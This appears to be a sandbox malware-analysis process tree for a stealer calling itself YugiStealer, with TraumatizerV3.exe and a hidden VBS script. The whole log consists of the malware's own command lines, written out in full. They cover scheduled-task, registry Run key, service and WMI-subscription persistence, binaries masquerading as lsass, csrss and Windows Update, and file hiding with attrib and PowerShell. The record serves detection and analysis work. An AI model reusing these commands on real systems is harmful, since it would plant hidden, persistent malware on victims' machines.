C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\services.exe\"; $Shortcut.Save()"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\services.exe\" }"4⤵
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\services.exe\" start= auto"2⤵
-
C:\Windows\system32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\services.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\services.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\services.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\services.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\services.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\SU3YKQQ8\TraumatizerV3.exe"C:\Windows\Temp\SU3YKQQ8\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\SU3YKQQ8\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\SU3YKQQ8\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\SU3YKQQ8\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\SU3YKQQ8\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\SU3YKQQ8\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\SU3YKQQ8\FartnutsTrauma.vbs" >nul 2>&13⤵
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\system32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Users\Public\Documents\services.exe"C:\Users\Public\Documents\services.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onstart /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\services.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\services.exe\" }"2⤵
-
-
C:\Windows\Temp\lsass.exe"C:\Windows\Temp\lsass.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\lsass.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\lsass.exe\" }"2⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\lsass.exe\" start= auto"2⤵
-
C:\Windows\system32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\lsass.exe\" start= auto3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\sbWZtorW\TraumatizerV3.exe"C:\Windows\Temp\sbWZtorW\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\sbWZtorW\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\sbWZtorW\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\sbWZtorW\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\sbWZtorW\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\sbWZtorW\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\sbWZtorW\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\sbWZtorW\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\sbWZtorW\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16728.bat"3⤵
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_1686.bat"3⤵
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[System.IO.File]::SetAttributes(\"C:\Users\Admin\Downloads\TraumatizerV3.exe\", [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System -bor [System.IO.FileAttributes]::ReadOnly)"3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[System.IO.File]::SetAttributes(\"C:\Windows\System32\0409\WindowsUpdate.exe\", [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System -bor [System.IO.FileAttributes]::ReadOnly)"3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { $WshShell = New-Object -ComObject WScript.Shell $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk') $Shortcut.TargetPath = 'C:\Windows\System32\0409\WindowsUpdate.exe' $Shortcut.WindowStyle = 7 $Shortcut.Description = 'Windows Update Service' $Shortcut.IconLocation = 'shell32.dll,1' $Shortcut.Save() $shortcutFile = Get-Item 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk' -ErrorAction SilentlyContinue if ($shortcutFile) { [System.IO.File]::SetAttributes($shortcutFile.FullName, [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) } } catch {}"3⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /delete /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask /f3⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask /xml C:\Users\Admin\AppData\Local\Temp\windows_update_task.xml /f3⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /run /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask3⤵
-
-
C:\Windows\system32\sc.exesc delete WindowsUpdateService3⤵
-
-
C:\Windows\system32\cmd.execmd /C "sc create \"WindowsUpdateService\" binPath= \"C:\Windows\System32\0409\WindowsUpdate.exe\" start= auto DisplayName= \"Windows Update Service\""3⤵
-
C:\Windows\system32\sc.exesc create \"WindowsUpdateService\" binPath= \"C:\Windows\System32\0409\WindowsUpdate.exe\" start= auto DisplayName= \"Windows Update Service\"4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.execmd /C "sc description \"WindowsUpdateService\" \"Provides Windows Update functionality and security patches\""3⤵
-
C:\Windows\system32\sc.exesc description \"WindowsUpdateService\" \"Provides Windows Update functionality and security patches\"4⤵
-
-
-
C:\Windows\system32\cmd.execmd /C "sc failure \"WindowsUpdateService\" reset= 86400 actions= restart/5000/restart/5000/restart/5000"3⤵
-
C:\Windows\system32\sc.exesc failure \"WindowsUpdateService\" reset= 86400 actions= restart/5000/restart/5000/restart/50004⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd /C "sc config \"WindowsUpdateService\" obj= LocalSystem"3⤵
-
C:\Windows\system32\sc.exesc config \"WindowsUpdateService\" obj= LocalSystem4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.execmd /C "sc config \"WindowsUpdateService\" type= own"3⤵
-
C:\Windows\system32\sc.exesc config \"WindowsUpdateService\" type= own4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\sc.exesc start WindowsUpdateService3⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ Name = 'BotRestartFilter' EventNameSpace = 'root\cimv2' Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'WindowsUpdate.exe'\" QueryLanguage = 'WQL' } $Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ Name = 'BotRestartConsumer' CommandLineTemplate = 'C:\Windows\System32\0409\WindowsUpdate.exe' RunInteractively = $false } $null = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $Filter Consumer = $Consumer }"3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /PID 7464 /F3⤵
- Kills process with taskkill
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "ts nga spamming"3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 7464 -Force -ErrorAction SilentlyContinue"3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command holy3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /PID 8720 /F3⤵
- Kills process with taskkill
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 8720 -Force -ErrorAction SilentlyContinue"3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /PID 8776 /F3⤵
- Kills process with taskkill
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 8776 -Force -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\taskkill.exetaskkill /PID 8948 /F3⤵
- Kills process with taskkill
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 8948 -Force -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\taskkill.exetaskkill /PID 9152 /F3⤵
- Kills process with taskkill
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 9152 -Force -ErrorAction SilentlyContinue"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
